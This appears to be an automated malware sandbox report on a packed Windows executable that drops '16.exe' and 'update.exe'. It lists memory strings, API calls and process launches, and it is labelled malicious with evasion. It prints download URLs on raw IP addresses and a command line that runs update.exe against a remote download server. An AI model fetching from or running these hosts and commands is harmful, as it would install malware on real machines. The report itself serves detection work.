Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe#
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe(
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe1Z
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000063E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe7
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe=2
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exeN2
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exec3
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.execY
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exez
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe~
Source: #U4fdd#U62a4#U795e1.exe, update.exe.4.dr, 16.exe.0.dr	String found in binary or memory: http://www.eyuyan.com)DVarFileInfo$
Source: 16.exe, 00000004.00000002.1882625896.0000000001369000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://trustsing.com/publish/iDefender.exew

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_00437920 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00437920

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00437920 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,	0_2_00437920
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00437920 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,	3_2_00437920
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00452E80 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,	7_2_00452E80

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_00437A80 OpenClipboard,GetClipboardData,CloseClipboard,GlobalSize,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_00437A80

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00436180 GetKeyState,GetKeyState,GetKeyState,CopyRect,	0_2_00436180
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00496E82 GetKeyState,GetKeyState,GetKeyState,GetKeyState,	0_2_00496E82
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0049535B GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	0_2_0049535B
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004237C0 GetKeyState,GetKeyState,GetKeyState,GetKeyState,	0_2_004237C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00421AA0 IsWindowEnabled,TranslateAcceleratorA,IsChild,GetFocus,PostMessageA,PostMessageA,SendMessageA,IsChild,IsWindow,IsWindowVisible,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,SendMessageA,WinHelpA,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,IsWindow,	0_2_00421AA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00436180 GetKeyState,GetKeyState,GetKeyState,CopyRect,	3_2_00436180
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00496E82 GetKeyState,GetKeyState,GetKeyState,GetKeyState,	3_2_00496E82
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0049535B GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	3_2_0049535B
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004237C0 GetKeyState,GetKeyState,GetKeyState,GetKeyState,	3_2_004237C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00421AA0 IsWindowEnabled,TranslateAcceleratorA,IsChild,GetFocus,PostMessageA,PostMessageA,SendMessageA,IsChild,IsWindow,IsWindowVisible,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,SendMessageA,WinHelpA,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,IsWindow,	3_2_00421AA0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0043C0C0 GetKeyState,GetKeyState,GetKeyState,GetKeyState,	7_2_0043C0C0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_004426E0 IsWindowEnabled,TranslateAcceleratorA,IsChild,GetFocus,PostMessageA,PostMessageA,SendMessageA,IsChild,IsWindow,IsWindowVisible,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,SendMessageA,WinHelpA,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,IsWindow,	7_2_004426E0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0049706E GetKeyState,GetKeyState,GetKeyState,GetKeyState,	7_2_0049706E
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0049557D GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,	7_2_0049557D
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_004516E0 GetKeyState,GetKeyState,GetKeyState,CopyRect,	7_2_004516E0

System Summary

Detected VMProtect packer

Source: 16.exe.0.dr

Static PE information: .vmp0 and .vmp1 section names

PE file has a writeable .text section

Source: update.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: update.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0048E06C	0_2_0048E06C
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004400D0	0_2_004400D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00456256	0_2_00456256
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004703C0	0_2_004703C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004523D0	0_2_004523D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0047C440	0_2_0047C440
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00448412	0_2_00448412
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00456541	0_2_00456541
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00466520	0_2_00466520
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0045C530	0_2_0045C530
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004945FF	0_2_004945FF
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004705F0	0_2_004705F0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00432580	0_2_00432580
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00468670	0_2_00468670
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00462620	0_2_00462620
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004566F4	0_2_004566F4
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00464830	0_2_00464830
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004828C0	0_2_004828C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0045696E	0_2_0045696E
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00448970	0_2_00448970
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00452910	0_2_00452910
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0045C9AE	0_2_0045C9AE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0044EA00	0_2_0044EA00
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0046CA20	0_2_0046CA20
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00466AA0	0_2_00466AA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0042CB10	0_2_0042CB10
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0045CBFE	0_2_0045CBFE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0041CD40	0_2_0041CD40
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0044ED10	0_2_0044ED10
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00456DA0	0_2_00456DA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0046CE40	0_2_0046CE40
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00455040	0_2_00455040
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004630C0	0_2_004630C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0044F140	0_2_0044F140
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00457270	0_2_00457270
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004533D0	0_2_004533D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00445450	0_2_00445450
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004194E0	0_2_004194E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_004574A0	0_2_004574A0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0045D700	0_2_0045D700
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00445780	0_2_00445780
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0041B850	0_2_0041B850
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0047B870	0_2_0047B870
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00455880	0_2_00455880
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00445910	0_2_00445910
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00447B7B	0_2_00447B7B
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00453BC0	0_2_00453BC0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0045DBA0	0_2_0045DBA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00425BB0	0_2_00425BB0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00449D80	0_2_00449D80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_0047BD80	0_2_0047BD80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00455D99	0_2_00455D99
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00489E16	0_2_00489E16
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00457EE0	0_2_00457EE0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00423E80	0_2_00423E80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00447EAD	0_2_00447EAD
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 0_2_00441FD0	0_2_00441FD0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0048E06C	3_2_0048E06C
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004400D0	3_2_004400D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00456256	3_2_00456256
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004703C0	3_2_004703C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004523D0	3_2_004523D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0047C440	3_2_0047C440
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00448412	3_2_00448412
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00456541	3_2_00456541
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00466520	3_2_00466520
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0045C530	3_2_0045C530
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004945FF	3_2_004945FF
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004705F0	3_2_004705F0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00432580	3_2_00432580
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00468670	3_2_00468670
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00462620	3_2_00462620
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004566F4	3_2_004566F4
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00464830	3_2_00464830
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004828C0	3_2_004828C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0045696E	3_2_0045696E
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00448970	3_2_00448970
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00452910	3_2_00452910
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0045C9AE	3_2_0045C9AE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0044EA00	3_2_0044EA00
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0046CA20	3_2_0046CA20
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00466AA0	3_2_00466AA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0042CB10	3_2_0042CB10
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0045CBFE	3_2_0045CBFE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0041CD40	3_2_0041CD40
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0044ED10	3_2_0044ED10
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00456DA0	3_2_00456DA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0046CE40	3_2_0046CE40
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00455040	3_2_00455040
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004630C0	3_2_004630C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0044F140	3_2_0044F140
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00457270	3_2_00457270
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004533D0	3_2_004533D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00445450	3_2_00445450
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004194E0	3_2_004194E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_004574A0	3_2_004574A0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0045D700	3_2_0045D700
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00445780	3_2_00445780
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0041B850	3_2_0041B850
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0047B870	3_2_0047B870
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00455880	3_2_00455880
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00445910	3_2_00445910
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00447B7B	3_2_00447B7B
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00453BC0	3_2_00453BC0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0045DBA0	3_2_0045DBA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00425BB0	3_2_00425BB0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00449D80	3_2_00449D80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_0047BD80	3_2_0047BD80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00455D99	3_2_00455D99
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00489E16	3_2_00489E16
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00457EE0	3_2_00457EE0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00423E80	3_2_00423E80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00447EAD	3_2_00447EAD
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: 3_2_00441FD0	3_2_00441FD0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_3_02184710	7_3_02184710
Source: C:\Users\user\Desktop\update.exe	Code function: 7_3_02184A00	7_3_02184A00
Source: C:\Users\user\Desktop\update.exe	Code function: 7_3_02181260	7_3_02181260
Source: C:\Users\user\Desktop\update.exe	Code function: 7_3_02182790	7_3_02182790
Source: C:\Users\user\Desktop\update.exe	Code function: 7_3_02186480	7_3_02186480
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_004393C0	7_2_004393C0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0046A110	7_2_0046A110
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0043E2C0	7_2_0043E2C0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_004483E0	7_2_004483E0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0048E4CD	7_2_0048E4CD
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0047A500	7_2_0047A500
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0043C780	7_2_0043C780
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0049481C	7_2_0049481C
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0043A890	7_2_0043A890
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0046ABB0	7_2_0046ABB0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00482C90	7_2_00482C90
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0046EEB0	7_2_0046EEB0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0047AFF0	7_2_0047AFF0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_004730C0	7_2_004730C0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0047B130	7_2_0047B130
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00437210	7_2_00437210
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0047B470	7_2_0047B470
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0047D740	7_2_0047D740
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0047B7B0	7_2_0047B7B0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0047B990	7_2_0047B990
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00479AA0	7_2_00479AA0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00459B60	7_2_00459B60
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0045BB90	7_2_0045BB90
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_0044DBA0	7_2_0044DBA0
Source: C:\Users\user\Desktop\update.exe	Code function: 7_2_00489F46	7_2_00489F46

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\update.exe E5C30E02DAA7C7178EE58F7F74F27A8CA4134AD736BA15CF34F863D8B70B2516

Source: C:\Users\user\Desktop\update.exe	Code function: String function: 004827CF appears 42 times
Source: C:\Users\user\Desktop\update.exe	Code function: String function: 004938DC appears 44 times
Source: C:\Users\user\Desktop\update.exe	Code function: String function: 00482EB2 appears 34 times
Source: C:\Users\user\Desktop\update.exe	Code function: String function: 00483717 appears 32 times
Source: C:\Users\user\Desktop\update.exe	Code function: String function: 0042A5E3 appears 31 times
Source: C:\Users\user\Desktop\update.exe	Code function: String function: 00484854 appears 88 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 004823FB appears 84 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 0046CA90 appears 46 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 004936BF appears 88 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 00470080 appears 34 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 0044E440 appears 154 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 0044E2E0 appears 50 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 0044E1C0 appears 78 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 00491AE6 appears 52 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 00483FF4 appears 198 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 0044E030 appears 170 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 0049234C appears 44 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Code function: String function: 0049B2C5 appears 40 times

Source: #U4fdd#U62a4#U795e1.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal92.evad.winEXE@6/4@0/2

Source: C:\Users\user\Desktop\update.exe

Code function: 7_2_00478290 GetLastError,FormatMessageA,

7_2_00478290

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_00468C30 FindWindowA,GetWindowThreadProcessId,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,TerminateProcess,

0_2_00468C30

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_00468FE0 CoCreateInstance,MultiByteToWideChar,

0_2_00468FE0

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Code function: 0_2_00492E30 __EH_prolog,FindResourceA,LoadResource,LockResource,IsWindowEnabled,EnableWindow,EnableWindow,GetActiveWindow,SetActiveWindow,

0_2_00492E30

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\???[1].txt

Jump to behavior

Source: C:\Users\user\Desktop\ 16.exe

Mutant created: \Sessions\1\BaseNamedObjects\tbdg

Source: #U4fdd#U62a4#U795e1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: #U4fdd#U62a4#U795e1.exe

ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe "C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe"
Source: unknown	Process created: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe "C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe"
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process created: C:\Users\user\Desktop\ 16.exe C:\Users\user\Desktop\ 16.exe
Source: C:\Users\user\Desktop\ 16.exe	Process created: C:\Users\user\Desktop\update.exe update.exe 1.2 16.exe http://38.6.175.25:901/down http://38.6.175.25:901
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Process created: C:\Users\user\Desktop\ 16.exe C:\Users\user\Desktop\ 16.exe	Jump to behavior
Source: C:\Users\user\Desktop\ 16.exe	Process created: C:\Users\user\Desktop\update.exe update.exe 1.2 16.exe http://38.6.175.25:901/down http://38.6.175.25:901	Jump to behavior

Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe	Section loaded: wintypes.dll	Jump to behavior
